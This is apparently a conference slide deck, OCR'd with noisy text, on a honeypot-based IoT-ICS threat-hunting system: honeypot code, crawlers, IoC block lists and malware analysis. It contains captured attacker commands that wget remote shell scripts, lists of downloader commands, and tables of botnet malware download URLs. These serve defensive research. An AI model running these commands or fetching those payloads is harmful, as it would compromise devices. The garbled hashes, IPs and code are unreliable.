



# The Hunt for Major League IoT-ICS Threats: A Deep Dive into IoT Threat Terrain

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# Who are we?

A joint venture company of  
**Trend Micro Inc.** and **Moxa Inc.**

30 years<sup>+</sup> Cybersecurity Threat Intelligence

30 years<sup>+</sup> OT Network Expertise



## Keep the Operation Running

# Who are we?



**Mars Cheng**

**Threat Researcher at TXOne Networks**

- Spoke at HITB, HITCON, SecTor, ICS Cyber Security Conference, InfoSec Taiwan and etc.
- Instructor of Ministry of National Defense, Ministry of Education, Ministry of Economic Affairs and etc.
- General Coordinator of HITCON 2021
- Vice General Coordinator of HITCON 2020



**Patrick Kuo**

**Threat Researcher at TXOne Networks**

- Developer for building automatically threat analyzing process.
- Developer for designing threat hunting engine and threat hunting system.
- Researcher for malicious payloads, malwares and threats.


# Outline

- The Anatomy of Our Threat Hunting System
- In-Depth Analysis of Our IoT-ICS Intelligence
- The Next Step for Our Next Generation IIoT Threat-Hunting System



# Introduction

# Why Perform Automated Threat Hunting?



By 2020, more than 25% of identified attacks in enterprises will involve the IoT, although the IoT will account for less than 10% of IT security budgets.

[https://www.gartner.com/imagesrv/books/iot/iotEbook\\_digital.pdf](https://www.gartner.com/imagesrv/books/iot/iotEbook_digital.pdf)



Kelly Sheridan  
News

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[https://www.darkreading.com/iot/ddos-iot-mobile/d/d-id/1337318?\\_mc=rss\\_](https://www.darkreading.com/iot/ddos-iot-mobile/d/d-id/1337318?_mc=rss_)



Cybersecurity researchers have discovered a new emerging IoT botnet threat that compromised smart devices to stage 'distributed denial-of-service' attacks, possibly through platforms offering DDoS-for-hire services.

<https://thehackernews.com/2020/04/darknexus-iot-ddos-botnet.html>



News

## Nokia Threat Report: IoT Malware Infections Surge 100%



Jessica Lyons Hardcastle | Managing Editor  
October 23, 2020 12:24 AM



## Astonishing Internet Of Things Facts:

- The internet of things market **revenue is \$212 billion worldwide**
- 20.4 billion IoT devices will be online by 2020**
- By 2025, the number is expected to rise to **75 billion devices**
- North America is expected to own **29%** of the world's self-driving fleet by **2035**
- 54% of enterprises** cite cost saving as the main value driver for IoT projects

<https://review42.com/internet-of-things-stats/>



# The Benefits of Automated Threat Hunting

- Automatic detection and real-time blocking of various threats
- Instantly locate various threat trends
- Follow-up analysis of a large number of intelligence resources by threat analysts
- The cost of human maintenance is extremely low



# The Hunting System's Requirements

Scalability

High  
Availability  
and Stability

Fast Adjustment


Easy  
Monitoring  
and Analysis

Data Security




# The Anatomy of Our Threat Hunting System


# The Architecture of Our IoT-ICS Threat Hunting System



# 350+ Hunting Engines in the World



# 1. Hunting Engines



1<sup>st</sup> stage, hunting all interaction with hunting engine

- Python based and compatible with Python 2.x/3.x
- Shell and C compiler
- Ubuntu 18.04 or CentOS 7

# 1. Hunting Engines

```
class S7(object):

    ssl_lists = {}

    def __init__(self, pdu_type=0, reserved=0, request_id=0, result_info=0, parameters='', data=''):
        self.magic = 0x32
        self.pdu_type = pdu_type
        self.reserved = reserved
        self.request_id = request_id
        # sometimes "parameters" happen to be of type int, and not a byte string
        self.param_length = len(parameters) if isinstance(parameters, bytes) else len(str(parameters))
        self.data_length = len(data)
        self.result_info = result_info # Patrick: It needs to set Error class and Error code. 20200728
        self.parameters = parameters
        self.data = data

    # param codes (http://www.bj-ig.de/147.html):
    # maps request types to methods
    self.param_mapping = {0x00: ('diagnostics', self.request_diagnostics),
                          0x04: ('read', self.request_read),
                          0x05: ('write', self.request_write),
                          0x1a: ('request_download', self.request_not_implemented),
                          0x1b: ('download_block', self.request_not_implemented),
                          0x1c: ('end_download', self.request_not_implemented),
                          0x1d: ('start_upload', self.request_not_implemented),
                          0x1e: ('upload', self.request_not_implemented),
                          0x1f: ('end_upload', self.request_not_implemented),
                          0x28: ('insert_block', self.request_not_implemented),
                          0x29: ('plc_stop', self.plc_stop_signal)}

    # maps valid pdu codes to name
    self.pdu_mapping = {0x01: set('request_pdu'),
                        0x02: set('known_but_unidentified_pdu'),
                        0x03: set('response_pdu'),
                        0x07: set('system_status_list')}

    self.data_bus = conpot_core.get_databus()
```

```
from config import HoneyConfig, MissingConfigField
from syslog_logger import get_syslog_logger
from ipaddress import ip_address
import socket
import sys, errno
import time, datetime
import os
import re
[]

DEFAULT_TIMEOUT = 120 #Use to timeout the connection
COMMANDS = {}
COMMANDS_EXECUTED = {}
OVERWRITE_COMMANDS = {} #Use to overwrite default telnet command behavior crashing the handler (e.g. 'help')
OVERWRITE_COMMANDS_LIST = ["help"] #Don't forget to update the list when adding new commands
BUSY_BOX = "/bin/busybox"
MIRAI_SCANNER_COMMANDS = ["shsh", "sh", "enable"]
DOWNLOAD_COMMANDS = ["wget", "tftp", "curl"]
FINGERPRINTED_IPS = []

honey_logger = logging.getLogger("HoneyTelnet")
syslogger = None
config = None
custom_pool = None

class MyTelnetHandler(TelnetHandler, object):
    WELCOME = 'welcome'
    PROMPT = ""
    authNeedUser = True
    authNeedPass = True


    @command(OVERWRITE_COMMANDS_LIST)
    def telnet_commands_respond(self, params):
        self.writeresponse(OVERWRITE_COMMANDS.get(self.input.raw, ""))

    @command(DOWNLOAD_COMMANDS)
    def download_response(self, params):
        full_commands = " ".join(params)
        #regex = '(http://.*|https://.*|'
        regex = '(https://.*| )|(|\t|\r|\n)|(|$|&|'
        if 'http' in full_commands or 'https' in full_commands:
            fmt = '%Y-%m-%d-%H-%M-%S'
            d = datetime.datetime.utcnow()
            d_string = d.strftime(fmt)
            host_name = socket.gethostname()
            ip_tran = ip_address(u'\t') % ip_wrap(self.client_address[0]).exploded
            #correlate srcip from iptables.log to find specific dest port
            if os.path.isfile(iptable_path):
                with open("/var/log/iptables.log") as f3:
                    my_regex = r"((\S*\s*\d*\s*[:]\d*)\s*((\-\d\S*)\s*)MAC=(\d:\S*)\s*SRC=((\d:\S*:)\s*)\s*BST=((\d:\S*:)\s*)\s*PROTO=(.*\s*)\s*SPT=((\d*)\s*)\s*DPT=((\d*)\s*)"
                    for line in f3:
                        log = re.findall(my_regex, line)
                        if len(log) > 0:
                            if ip_tran == log[0][8] and str(self.client_address[1]) == log[0][6]:
                                DPT_temp = log[0][7]
                                if DPT_temp > '0' and DPT_temp <= '65535':
                                    DPT = DPT_temp
            #v2 new log format add reason
            if '!' in ip_wrap(self.client_address[0]):
                s2 = "%s|%s|%s|%s|wget\n" &
                (d_string, ip_wrap(self.client_address[0]), self.client_address[1], host_name, DPT)
            else:
```

# 1. Hunting Engines


```
wget -O /tmp/e52e6cef-0c8d-4ac7-a4d3-175cddd4b8d5 --tries=1 http://185.172      /camam.sh -e use_proxy=yes -e http_proxy=10.1      :2244
[('http://185.172      /camam.sh', '')]
Match regexPtn1
http://185.172      /camam.sh
wget command
wget -O /tmp/a2f24348-a54e-401e-91c3-fb2a9decf6da --tries=1 http://185.172      /camam.sh -e use_proxy=yes -e http_proxy=10.1      :2244
[('http://185.172      /camam.sh', '')]
Match regexPtn1
http://185.172      /camam.sh
wget command
wget -O /tmp/73d6d503-1ec2-49ed-b9f7-b122f0bd2512 --tries=1 http://185.172      /camam.sh -e use_proxy=yes -e http_proxy=10.1      :2244
[('http://185.172      /camam.sh', '')]
Match regexPtn1
http://185.172      /camam.sh
wget command
wget -O /tmp/065bd066-23cf-442a-a227-34f037f2c7c4 --tries=1 http://185.172      /camam.sh -e use_proxy=yes -e http_proxy=10.1      :2244
[('http://185.172      /camam.sh', '')]
Match regexPtn1
http://185.172      /camam.sh
wget command
wget -O /tmp/6604f576-eb69-4d1d-b375-0d673ef46a52 --tries=1 http://185.172      /camam.sh -e use_proxy=yes -e http_proxy=10.1      :2244
[('http://185.172      /camam.sh', '')]
Match regexPtn1
http://185.172      /camam.sh
```

## 2. The Hunting Agent




## 2. The Hunting Agent

# 3. Malware Crawler and Session Crawler



```
md5,sha1,sha256,scan_result
60a353c02elf137      :5340b, 0087f1628093b246d6
9a11158a7db15k      :149cd4, 034c8c5la5bbe1ca6
b6aa275a926638:      :b1249, 0425c031al28a01e61
463ea3c7c94254c      :162451, 0855f932eff35d8758
dbc520ea151874:      :155c30, 0a427f86b4360fb603
5fc08fb3158cc25c    :1b30d1, 0ea53594b7e2d69e5
0f2f42d9c538c4:      :2b4ba, 15d64c4259601b1c79
fbe51695e97a45c     :a37dc, led14334b5b71783cd
097af9749314:        :16ab0e, 1f80dc6e96a652a94a
6bb1068d7411cf:      :f1680, 271c10b83937d52d1e
6c482728f94916:      :a5085, 2eb4ee1ecffdf7d915f
cf939cd72c0c3:       :a51bf, 3c6654b5e0699885f8
28e466fe01c046:      :ad8ae, 445d804c49965d004d
2cbfe7c057f63:       :7a8ec, 49fabd9255b90f9b3f
19e0ba4c8aab8:       :i3d0ba, 4d093f73b2bccef6
92f05b87d8cac60:     :.659b3, 524be5acbc38fe8dd2
183bb2e05a60d1:      :l07ec, 538b70ba5f2391b24e
ecba262840996cc:     :i42071, 5a2eec896758297033
dd723a18453152:      :i4b8b2, 6lc36304ad1b6c929
3849f30b51a5c4:      :2067c, 6lc136534b26059
a7a278a3a55394f:     :2d247, 64b3e8a028853d7c20
e241daef5d2db00:     :i3e38b, 6c8b22ebce56ef7c8d
12df84ac4e657e:      :iccc47, 70eb5510ef4e760959
f7d9be2014ca09f:     :iae9af, 8ece0c8296094b6b6ee
e94f0834d95a5c:      :i3401e, 90b8a7ed009d748e78
46029350493e:        :i508b9, 94cbcfc2772b055da
f308933c1bal59:      :i44bdc, 9c4078ale37e389fd4
51584c746c408ee:     :i8d9b2, 9dd4c9b9c317cc225
d9bdb4240bfellc:     :i3cae8, a88f646544267819b1
7e7547bb1b8e6f:      :i44b93, a9a7d1f3c6596a668
03ddfd6d323a:        :i0a95f, aa9f2f5e69dff8bb9d
a73dd6ec22462c:      :i4d4e6, ac962542a4b23ac13
daa2e9973d3850:      :i640e6, b0e74801f84a36347c
fff429d35cd37a:      :i39eda, b5161c992e7ae9854d
2afa5a62755b3f:      :i3fd8, bf4d4a802431d7ab200
f07d673981lc6d7i:    :i21dd3, c292121dee7d549573
44219b4c6629a1e:     :i8f877, c2844559fc30480e07
cdb91076d3dbea:     :i58862, cb3249b4e41lf63f1b
c1342de652cb9e:      :i77483, e9afb0cb00ed2cd098
f42f45b377bdcd2:     :i32791, ea58921b8d42470935
450f27f3e0a447k:     :i8a315, f99851265a2f7e8ebf
043b86f30a704d:      :i14ba7, fb7f8f9224cf801dc
```


### 3. Malware Crawler and Session Crawler



```

output list size: 23118
parsing completed
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" Pot.log" parsing begins: t_init = 2020-07-12 04:28:29.191843
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" Pot.log" parsing finished: t_end = 2020-07-12 04:28:37.123337, t_diff = 0:00:07.931494
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:28:37.123398
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:28:40.454274, t_diff = 0:00:03.330876
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:28:40.454316
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:28:43.438939, t_diff = 0:00:02.984623
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:28:43.438982
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:28:49.085468, t_diff = 0:00:05.646486
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:28:49.085510
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:28:54.062086, t_diff = 0:00:04.976576
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:28:55.686921
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:02.811469, t_diff = 0:00:07.124548
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:02.811509
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:05.866749, t_diff = 0:00:03.055240
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:05.866789
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:08.512440, t_diff = 0:00:02.645651
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:08.512483
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:13.499036, t_diff = 0:00:04.986553
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:13.499079
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:17.565322, t_diff = 0:00:04.066243
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:18.366245
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:24.691211, t_diff = 0:00:06.324966
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:24.691258
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:27.268045, t_diff = 0:00:02.576787
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:27.268087
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:35.418055, t_diff = 0:00:08.149968
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:35.418097
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:42.520696, t_diff = 0:00:07.102599
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" _MTPot.log" parsing begins: t_init = 2020-07-12 04:29:42.520738
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" _MTPot.log" parsing finished: t_end = 2020-07-12 04:29:48.011541, t_diff = 0:00:05.490803
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:49.027624
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:29:52.843116, t_diff = 0:00:03.815492
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" _MTPot.log" parsing begins: t_init = 2020-07-12 04:29:52.843158
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" _MTPot.log" parsing finished: t_end = 2020-07-12 04:29:57.785069, t_diff = 0:00:04.941911
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:29:57.785112
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing finished: t_end = 2020-07-12 04:30:00.582469, t_diff = 0:00:02.797357
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" _MTPot.log" parsing begins: t_init = 2020-07-12 04:30:00.582511
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" _MTPot.log" parsing finished: t_end = 2020-07-12 04:30:03.755107, t_diff = 0:00:03.172596
Log "/home/ ./honeypot/MTPot_Log/d=2020-07-12/h=04/" MTPot.log" parsing begins: t_init = 2020-07-12 04:30:03.755150
  
```

# 4. Generate IoC to Block List




utc_ts	ip	port	rule
2020-10-21 20:53:52.000	103.54.1	22	[hpot_g001:2:honeypot]
2020-10-21 21:56:36.000	103.70.1	445	[dpi_g001:2:dpi-ips-rule]
2020-10-21 21:35:21.000	112.226	80	[dpi_g001:2:dpi-ips-rule]
2020-10-21 21:12:42.000	112.255	8081	[dpi_g001:2:dpi-ips-rule]
2020-10-21 21:15:41.000	112.27.1	80	[dpi_g001:2:dpi-ips-rule]
2020-10-21 21:09:00.000	113.167	445	[dpi_g001:2:dpi-ips-rule]
2020-10-21 20:58:23.000	113.246	2323	[hpot_g001:2:honeypot]
2020-10-21 21:00:36.000	115.63.9	80	[dpi_g001:2:dpi-ips-rule]
2020-10-21 21:47:10.000	117.202	80	[dpi_g001:2:dpi-ips-rule]
2020-10-21 21:46:31.000	121.146	23	[dpi_g001:2:dpi-ips-rule]

utc_ts	ip	port	url	reason
2020-03-28 07:05:03.935	185.16	5555	http://185.1.124/bwget	hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-01-07 05:55:11.707	91.92.1	5555	http://91.92.1curl.sh	hs00002:Telnet busybox command - 1,hs00033:Android ADB attack
2020-10-03 02:42:33.615	93.103	5555	http://5.252bwget	hs00002:Telnet busybox command - 1,hs00033:Android ADB attack
2020-08-26 17:46:57.336	185.39	5555	http://185.39curl	hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-08-26 17:51:02.545	185.39	5555	http://185.1.34/E5DB0E07C3D7BE80V520/init.sh	hs00002:Telnet busybox command - 1,hs00033:Android ADB attack
2020-03-28 07:42:40.169	92.28.1	60001	http://185.6/jaws.sh	hs00029:HTTP wget chmod
2020-05-13 06:23:53.629	185.16	5555	http://185.1.135/bwget	hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-01-07 05:44:32.200	91.92.1	5555	http://91.92.1curl.sh	hs00002:Telnet busybox command - 1,hs00033:Android ADB attack
2020-01-07 05:37:06.697	91.92.1	5555	http://91.92.1curl.sh	hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-08-26 17:30:04.037	185.39	5555	http://5.252wget	hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack

# 5. Malware Analyzer



# 5. Malware Analyzer

```
[root@centos-pool 2020-11-11]# ls
881e9190d9ea258a67ccddaa6994bbf
829eac557daf544acc9585alc931f
82c75127ec18e75c80b9c3cd9397ac
895687e402109bee280d5eb09c035t
8525735c02e65c196e5714e91039bc
8c99d3a7e89c8ec382d491ctfe86t5r
8e628952f2dd87f0e3de0d8a89115c
10bbc55343d94e5d831158f7c953ff
1326777c5d44bbea9edcf8aa37a50t
1994733bccfb9db72b4bd8ee750261
1bc2f0d81529ab4e3a6cbeb9005c:
2ce01c0d96016169c64a7ce7487161
2e4506802aedea2e6d53910dfb296t
2fbafc54025fe0051e817fcce8625d1
3364d2165584f89842c9534b3655at
3435fc10f8fe834166c954a98a39t
3a330ecff6a63b83be36c61c0a4e11
3a69a6b113f53abea3fd364861aa1
48dc9359791531d3af9134e6505ecf
4183258dd93563ba088659b594a53fr
4201501d1cefcb7d7575c68af3024t
43a75ed0d3cf92929561eb4aa0447t
485f41222bf6ad88595c56397743dt
4b82d6a81f894193ad25ab3b4efc0t
4b29fec5217f5a74d53bc962c5cc0t
4d7248874379e540d23544615d644t

f1b0005878ba6520227c986
1347891f2f844ae54e42da
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:i50b8ad8f9fa6a384b77c0e
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!fd3e834269802a64cb232d5
!8ea731cad9f8c18b4d416
l348f7fed29fb1e74c7b5a8
!8c1099f08af75f1c3a9d91
!9e484d3aa560ca174772c3
!c4b799a879eace5923a7b6
!83adcac8b581d9a09eb2cd
'atb0e985fb02dd14857197
!21e08dd2cf5be232a47899
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!825c5105a1342793d37307
:d3ee82e1a8e7e0ebcf782f
!i4e35a15ef0eff2a85a6da
!31df41e023a3d4857c9b9c
!b80e7012cf914268705573
!ce067de8abe942240580a2
!48e75a7686df11c82d6a85
!6859f7838c5923f0e3bd54

5265a344fd3d3c91d1e9169678e9dadf
542e002e6f352350f47abc48897d2af0
57e11a11563392dc2d6b9e5cbc8f39e1
58d763d381001f9fc595d20120e5052b
5a46f36588b56545a5ef114d507b3890
5c70bc697759d59ef105d97e5310f3cd
5dc961388c68fc02ef87d4bf4838862
5f845e765947c4568e1c201fdfeb016c
690a305edf11d51aa7d911ba60788fb
65319b6a38ed36f813d9
7150b51f8f989dd71b82739a4f417a21
72b10b95e0a6dd4ec068e23a2547d153
7310eca67a1014eb5f2bd249a8516c21
74a6369497a0f30134b143a9c83dc686
75173743d9a09b87888f115eb72f7314
8184f51bdb8e8dad8e7362beb015288d
83c6fa13d2bb81ae8ef55a4b6e2d2db3
88dd427f4af7c9b9ed25fb9156af9a7c
8b6d163b8221430d53ce987887e8b489
8cbffff7b8d24803a394464439b957d62
9389d5d9ad88a913a2dd16213034d88b
990f1db0f8b725a2f27df97a5f9ce87db
9e0a15a4318e3e788bad61398b8a48d4
a17743eafdf2a88146fd9dd76d78911
a6bc28788beb5359d5c2e8ee9df56833
a7e6dd8494956a2bdb5c14938ab235d5
ac0f531fcbbfb04ad3c0a58bc27158d8

132b99c728761bfff011
91d24d89689f85abef83
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a4cfc3a6641a56c961fa
bd1595a762761331f57e
222f2d8f441fd8122d58
72f89a3aaa1d747a2f85
36d1393a65a9ee367e8c
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c5f656dea07ab9350749
73bbe452601138731c3c
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70fb8be736539a8fb24
e15e93db3ce3a8a22adb4b18e0e37b9
384862e2d1ad9a945a8a
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f7cc837e42b4b1af322b
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2a08894f493aa3584b0b
e0c81cb5b71c117efbel
49e744f2ec0b8685100d
258c5b16d1718602e987

ac68a0074caed5b4cf8bce15e093391
ad05d09e6ed4bd89fe1469e49885c51
aee22455e74721538763a7f56129a44
b1be3877f682c91f15ec17b88f085a
b33b38c3cc7e027320e4d283303cc36
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ccb387d48886427c6455c548df6ad59
cde1f2acb22559bd3c2a7c5a89fa214
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7008f9b1a9e42e1fac2b0
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e518d54bf2a5694c728ea48f88d2a95
e62a202ec37b4c42b6da041bfbbf32d
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fae13c75975aef8f866a104825567b
fdb334c557a1f7c16820aa8f71a7f75
ff6f5e639b69332f315aca4f6bc67f

8cc82bcbf7b8e6e738a5d
3f2579cb7caa221b43fce
b1f87adb5a258131b6126
c313e97ae56233e91a722
78bbb524ec54d5f61a4d6
3aaaf1f53f9a9c88c2306d
9f9e182d032f1da5b4605
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1892d26adb6a79f63887
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ea1603d03140585b6bb76
36b8410fa65cb56ea56ee
388ea2c113ba38982fcf9
7ff722452bffb48be68bc
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b37e12b04722a46bfeat78
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e518d54bf2a5694c728ea48f88d2a95
e62a202ec37b4c42b6da041bfbbf32d
f4ef453754b36372928ac7a33764fd8
f6c97b1e2ed02578ca1066c8235ba4f
fae13c75975aef8f866a104825567b
fdb334c557a1f7c16820aa8f71a7f75
ff6f5e639b69332f315aca4f6bc67f
```

# 5. Malware Analyzer

mal_name ▾	shasum ▾	dl_url ▾	
b3astmode.mips	484d02adc751b34b4f06279e101cb1	31bc5e59094233036571afcacf	https://192.3.106/b3astmode.mips
Formula.x86	348621548d396a10eb0535b1ddc6c3	1c64940afe7693c02cff51625f	http://192.3.2.106/Formula.x86
bot.pl	0c85ee163f3a5353b35a40dab37a55	1e0ee566cfabcc327ed183079	http://192.3.4.106/pl
3306	762bdef625adb5849c0cacf37941889	92d958b2a4e9d54c65370ba5	http://98.159.106
8000	f0343b26025df6fcf378cc5dc4c8ff2db	37ce384eb6d69c6e921ee2f	http://98.159.100
8000	f0343b26025df6fcf378cc5dc4c8ff2db	37ce384eb6d69c6e921ee2f	http://98.159.100
xmi	10549b8dba5ec8eb2f8fcdb3d735390	1a1cb2d90f6fc7d49b476cd7b	http://205.181/xmi
vcimanager.mips	5024c60e7c969293089549f8d41ba3	9f7d0e9be83c797bfdd2278aa	https://172.91.106/bins/vcimanager.mips
jKira.mips	7448aea61ccbaf8b40410c05e4241	25391d9dc020356fe1ea72012	https://107.112/bins/jKira.mips
mips	1d81958156a7333989696e9d4e9b6c	38710bff81ec48cf8f5f1c33d	https://37.49.106/mips
vcimanager.mips	3cab00223458575395b99e63098267	194bd65eb63553031abf1c4dd1	https://52.140.106/bins/vcimanager.mips
Astra.mips	48880dc57b5e002412bae8fcf95b0ct	3425c3a46f120e8eda7e0ef9	http://192.2.106/bins/Astra.mips
work.sh	c1e198ac3c34251b5c33c9611a1715	1b0a013ec991f8bfff48bc91d2	http://behash106/work.sh
mips	2837acd73b270372971d932cddc532	1c56e619ac7ac44ba15ef54882	https://37.49.106/bins/mips
mips	882eb89e5bc23dd08e53b0fa7ddfcdc	1a3b9f30220dea0039bcd3d0d	https://45.95.106/bins/mips
lan	271420049365b0063fc0fc69b372c18	757fa5f5eed5171651c24974	http://145.14.106/setup/lan
23	68b77d35f6976c67767fa4358c6e567	3b14a340f1a7294e329fd0f9	http://98.159.106/23
Hilix.mips	275b068d3a04cbce505b89f1da130e	1227c9e9fa0cdd9a5d0372c18	https://37.49.106/bins/Hilix.mips
3307	29758396d04a16e12b52f470a2d998	1b9d2c9318543c08ab2ac70a7	http://98.159.107
mips	9de0c26dd0fc85eff3e04b237c1f9b2	4d44dd8c3c406f9005064fe	https://159.81.107/bins/mips
mips	612a6b6eb403099a857222b35f370b	10ea28d2f7f740fd93ae0f109	https://192.91.107/fuckurlhausdumbindianretards13337skids/mips
b3astmode.mips	2c61ade6323527b000cc27babbb2a1	108812559d3a89807f48fe6446	https://45.95.107/beastmode/b3astmode.mips
b3astmode.mips	1ba8719779106fdd92e8bd7d6cb7e6	6f1762231ea70b33a845f22e5	https://194.1.107/beastmode/b3astmode.mips
bot.pl	2339abcb78c46bf6ccdfce533b163d7	3dde3531706b1ffb301f143	http://163.17.107/pl
8080	1e87a5dba16588bf91144de1b34a52	38bca63f79dd95d3087253d72	http://98.159.1080

# 6. Threat Intelligence based on Athena

- Here, the threat analyst manually hunts down the in-depth threat




[ICS-CERT] OSisoft PI Interface for OPC XML-DA 2020-11-10  
[ICS-CERT] Siemens SIMATIC S7-300 and S7-400 CPUs (Update B) 2020-11-10  
[Security Week] Microsoft Patches Windows Vulnerability Chained in Attacks With Chrome Bug 2020-11-10  
[Security Week] PLATYPUS: Hackers Can Obtain Crypto Keys by Monitoring CPU Power Consumption 2020-11-10  
[Security Week] Flaws in PcVue SCADA Product Can Facilitate Attacks on Industrial Organizations 2020-11-10  
[DARKReading] Malware Hidden in Encrypted Traffic Surges Amid Pandemic 2020-11-10  
[DARKReading] Claroty Details Vulnerabilities in Schneider PLCs 2020-11-10  
[DARKReading] How Hackers Blend Attack Methods to Bypass MFA 2020-11-10  
[Threat post] Microsoft Teams Users Under Attack in ‘FakeUpdates’ Malware Campaign 2020-11-10  
[iThome] 仁寶傳出遭勒索軟體攻擊，該公司予以否認，並認為疑似是駭客入侵造成網路異常 2020-11-09  
[ICS-CERT] OSisoft PI Vision 2020-11-10  
[ICS-CERT] Schneider Electric PLC Simulator for EcoStruxure Control Expert 2020-11-10  
[ICS-CERT] SIMATIC S7-300 CPUs and SINUMERIK Controller 2020-11-10  
[ICS-CERT] Siemens SCALANCE W 1750D 2020-11-10  
[ICS-CERT] Siemens UMC Stack (Update C) 2020-11-10

[KitPloit - PenTest Tools] ReconNote - Web Application Security Automation Framework Which Recons The Target For Various Assets To Maximize The Attack Surface For Security Professionals & Bug-Hunters 2020-11-09  
[ZDI (Published)] ZDI-20-1363: Cisco WebEx Network Recording Player ARF File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1362: Cisco WebEx Network Recording Player ARF File Parsing Uninitialized Pointer Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1361: Cisco WebEx Network Recording Player ARF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1360: WECON PLC Editor WCP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1359: WECON PLC Editor WCP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1358: WECON PLC Editor WCP File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1357: Adobe Acrobat Reader DC AVDocumentLocal Use-After-Free Information Disclosure Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1356: Adobe Acrobat Pro DC PDF Export Out-Of-Bounds Read Information Disclosure Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1355: Adobe Acrobat Pro DC PDF Export Out-Of-Bounds Write Remote Code Execution Vulnerability 2020-11-10  
[ZDI (Published)] ZDI-20-1354: Adobe Acrobat Reader DC ID Parameter Out-Of-Bounds Read Information Disclosure Vulnerability 2020-11-10

## 7. One-Click Deployment/Re-Deployment

- This is a function set up to strengthen our automated process.
- This demo video is a time-lapse video. The complete deployment process takes about 1-2 hours.



# One-Click Deployment of Automated Threat Hunting System

TXOne Networks Inc.



# Highlights of the IoT-ICS Hunting System



Hunting Engine




